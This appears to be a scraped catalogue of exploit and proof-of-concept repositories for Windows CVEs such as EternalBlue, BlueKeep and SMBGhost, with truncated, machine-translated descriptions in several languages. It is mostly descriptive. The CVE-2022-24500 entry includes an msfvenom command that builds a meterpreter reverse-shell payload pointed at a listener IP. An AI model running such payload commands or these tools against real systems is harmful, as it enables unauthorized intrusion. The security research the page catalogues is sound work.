CVE-2021-21551

CVE-2021-21551 Уязвимость повышения привилегий драйвера Dell CVE-2021-21551 Описание Драйвер Dell dbutil23.sys содержит уязвимость недостаточного контроля доступа, которая может привести к повышению привилегий, отказу в обслуживании или раскрытию информации. Требуется доступ локального...

CVE-2026-41089-LongLogon

LongLogon · CVE-2026-41089 LongLogon — это неаутентифицированная, неразрушающая проверка предусловия для CVE-2026-41089 , столового переполнения буфера до аутентификации в службе Windows Netlogon. Без учетных данных и без отправки переполнения он сообщает, достаточно ли длинно DNS-доменное имя...

CVE-2021-26868

CVE-2021-26868 Windows 10 LPE 익스플로잇...

CVE-2026-34344

CVE-2026-34344 정보 이 취약점은 원래 @angelboy가 발견했습니다. 저는 교육 및 사례 연구 목적으로 이 취약점을 독립적으로 재현했습니다. Microsoft 업데이트 세부 정보: CVE-2026-34344 PoC는 Type Confusion 취약점으로 인한 크래시를 입증합니다. 다만, 저는 이 취약점을 악용하기 위한 프리미티브를 가지고 있지 않습니다. 요약 취약점: Type Confusion 구성 요소: afd.sys 트리거: AfdQueryProviderInfo Windows 버전: Windows 11 25H...

GiveMeKernel

GiveMeKernel Этот репозиторий содержит сжатый и оптимизированный proof-of-concept PoC эксплойт для CVE-2024-35250. Код основан на исходном PoC от Varwara. Отказ от ответственности: Данный PoC предназначен только для образовательных и исследовательских целей. Используйте его ответственно и только ...

CVE-2020-1020-Exploit

CVE-2020-1020 Type1 글꼴 풀 오버플로 LPE 익스플로잇 지원 OS : Windows 7, 8, 8.1 x64...

CVE-2025-9491_POC

CVE-2025-9491 LNK 混淆概念验证 一个概念验证工具，用于演示 Windows 快捷方式 .lnk 文件漏洞 ZDI-CAN-25373/CVE-2025-9491。该工具展示了如何通过利用空白字符填充，在 .lnk 文件中隐藏恶意命令行参数。 本工具仅供教育和授权的安全测试目的使用。未经授权的计算机系统访问是违法的。仅在你拥有或已获得明确许可的系统上使用此工具。 目录 描述 漏洞详情 安装 用法 创建模式 混淆模式 解析模式 致谢 描述 这是一个概念验证工具，用于创建和操作 Windows .lnk（快捷方式）文件，以演示 CVE-2025-9491 漏洞。该工具允许用户...

CVE-2020-1350-DoS

CVE-2020-1350 SIGRed - Windows DNS DoS 익스플로잇 이 버그에 대한 공로는 전적으로 Check Point Research @cpresearch에게 있으며, 이들은 이 버그에 대한 놀라운 분석글을 작성했습니다 작성자 @sagitz에게도 감사드립니다. 해당 분석글은 여기에서 찾을 수 있습니다. 이 익스플로잇은 @maxpl0it이 작성했습니다. 작동 방식 요약: 1. LAN에서 악성 도메인예: 9.evildomain.com에 대한 DNS 요청구체적으로 SIG 레코드 요청을 트리거합니다. 2. 이 요청은...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Автоматизация эксплуатации и обнаружения Эта программа на Python является оберткой для уязвимости SMBGhost RCE. Все авторские права на рабочий эксплойт принадлежат chompie1337. Все авторские права на сканер принадлежат ioncodes. Я просто автоматизировал эти функции в одной...

Find-VulnerableElectronVersion

Find-VulnerableElectronVersion 実行可能ファイルをスキャンし、Sysinternals ツール Strings を使用して、Chromium の脆弱性 CVE-2023-4863 / CVE-2023-5129 に対して脆弱な Electron バージョンでラップされているかどうかを判定します。Windows デバイスでのみサポートされています。 Sysinternals のインストールが必要です: https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite 構文例:...

CVE-2024-38472

Создание модуля Metasploit для удаленного выполнения кода RCE на основе уязвимости SSRF CVE-2024-38472 в Apache HTTP Server на Windows — сложная задача, поскольку сам SSRF напрямую не приводит к RCE. Однако SSRF часто может быть шагом к достижению RCE, особенно если его можно использовать для...

LocalPotato_CVE-2023-21746

LocalPotato Уязвимость локального повышения привилегий LPE в Windows была сообщена Microsoft 9 сентября 2022 года Андреа Пьерини @decoderit и Антонио Кокомацци @splintercode. Уязвимость позволяла злоумышленнику с учётной записью с низкими привилегиями на хосте читать/записывать произвольные файлы...

Exploit for CVE-2020-0609

RD Gateway BlueGate Validator CVE-2020-0609 / CVE-2020-06...

CVE-2022-24500

Эксплойт RCE CVE-2022-24500 Уязвимость удаленного выполнения кода Windows SMB Уязвимость: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 шаг 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.b...

VAPT-Report-on-SMB-Exploitation-in-Windows-10-Finance-Endpoint

Отчет VAPT по эксплуатации SMB на конечной точке Windows 10 в финансовом секторе В этом отчете описывается структурированное взаимодействие VAPT, ориентированное на соответствие требованиям PCI DSS, перечисление служб SMB и эксплуатацию CVE-2017-0144 EternalBlue на машине Windows 10 в...

CVE-2025-29824-Exploit

🚨 Exploit CVE-2025-29824: Cadena de Ransomware PipeMagic 📌 Resumen de Vulnerabilidad Crítica Fallo de Escalada de Privilegios en Windows CLFS → Secuestro de Privilegio SYSTEM Explotado en Ataques Activos de Ransomware por Storm-2460 Threat Group 🖥️ Sistemas Afectados Expandir Lista de Sistemas 🧩...

autoblue

AUTOBLUE: Автоматизированный инструмент для эксплуатации уязвимости EternalBlue AUTOBLUE — это инструмент автоматизации, предназначенный для эксплуатации уязвимости EternalBlue CVE-2017-0144 на машинах Windows. Инструмент объединяет возможности Nmap для сканирования уязвимостей и Metasploit's...

CVE-2021-1732

CVE-2021-1732 CVE-2021-1732 Исследование уязвимости локального повышения привилегий в Microsoft Windows 10 и разработка PoC/эксплойта Затронутые системы и версии приложений Windows Server, версия 20H2 установка Server Core Windows 10 версии 20H2 для систем на базе ARM64 Windows 10 версии 20H2 для...

CVE-2013-3900-PowerShell-PoC

CVE-2013-3900-PowerShell-PoC 이 PoC는 교육 및 연구 목적으로만 제공됩니다. 저자는 이 코드로 인한 오용 또는 손상에 대해 책임을 지지 않습니다. 이 PowerShell 스크립트는 CVE-2013-3900에 설명된 공격을 시뮬레이션하기 위한 테스트 도구입니다. CVE-2013-3900은 Windows의 Authenticode 메커니즘과 관련이 있으며, 이 메커니즘에서는 PE 서명EXE/DLL 파일의 인증서 섹션에 추가 데이터패딩가 포함될 수 있습니다. 이전 버전 또는 기본 Windows 설정에서는 이러...

CVE-2019-0708

CVE-2019-0708 BlueKeep 현재, Windows 7 x64에 대한 공격 노트만 공개합니다. NOTE.md를 참조하세요. 참고: 기본 구성fDisableCam=1의 Windows 2008 R2도 공격 가능합니다. 신뢰성은 Windows 7과 동일합니다. 업데이트 2020년 7월 Windows Server 2008에 대한 정보를 NOTE.md에 추가 대상 커널 비페이징 풀을 채우기 위한 PoC 추가 대상 정보 탐지 스크립트 추가 Windows 7 x86에서 PoC 코드 실행 추가 파일 목록 myrdp.py 나의 RD...